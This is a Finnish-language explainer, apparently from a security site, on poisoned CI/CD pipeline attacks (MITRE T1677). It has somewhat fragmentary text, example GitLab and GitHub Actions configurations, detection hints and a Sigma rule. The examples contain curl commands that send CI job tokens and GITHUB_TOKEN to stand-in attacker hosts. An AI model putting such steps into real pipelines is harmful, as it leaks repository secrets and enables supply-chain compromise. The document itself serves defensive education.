Poisoned Pipeline Execution (T1677) on hyökkäys, jossa hyökkääjä manipuloi CI/CD‑putkea (continuous integration / continuous deployment) lisäämällä haitallista koodia build‑prosessiin. Tavoitteena on varastaa tai vuotaa käyttöoikeuksia, salaisuuksia (API‑avaimet, tokenit) tai suorittaa ylimääräisiä komentoja kohdejärjestelmässä. Tekniikka on suosittu supply‑chain‑hyökkäyksissä, koska CI‑järjestelmät usein toimivat korkeilla oikeuksilla ja niillä on pääsy tuotantoympäristöön. Tunnettuja esimerkkejä: Unit 42:n Palo Alto GitHub Actions -hyökkäys (2025) sekä APT‑28:n (Fancy Bear) CI‑pipeline‑manipulaatio.
gitlab-ci.yml, ja lisää komennon: stages:
- build
build_job:
stage: build
script:
- echo "Malicious code"
- curl -X POST -d "$(cat $CI_JOB_TOKEN)" https://malicious.example.com/steal
Indirect Pipeline Execution – CI‑tiedosto viittaa ulkoiseen skriptiin tai makefileen, johon hyökkääjä injektoi koodia, esim. build.sh sisältää npm run test && npm run malicious.
Public Pipeline Execution – hyökkääjä tekee forkin ja avaa pull‑requestin, joka aktivoi pull_request_target‑triggerin GitHub Actionsissa. Workflow‑tiedostossa on:
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run malicious command
run: npm run build && curl -H "Authorization: ${{ secrets.GITHUB_TOKEN }}" https://attacker.com/exfil
Kun PR ajetaan, workflow saa käyttöönsä repository‑salaisuudet ja voi viedä ne ulos.
project:push, pipeline:created, pipeline:failed sisältävät käyttäjän, IP‑osoitteen ja commit‑hashin. curl‑ tai wget‑kutsut. CreateWorkflowRun, UpdateSecret –tapahtumat. malicious.example.com). Sigma‑esimerkki GitHub‑toimintojen havaitsemiseksi:
title: Suspicious GitHub Actions secret usage
logsource:
product: github
service: actions
detection:
selection:
event.type: workflow_job
secrets.*: "*"
command|contains: "curl"
condition: selection
level: high
environment‑tason salaisuudet ja salli niiden käyttö vain tietyissä jobeissa. pull_request_target‑triggerin käyttö ilman tarkkaa hyväksyntää.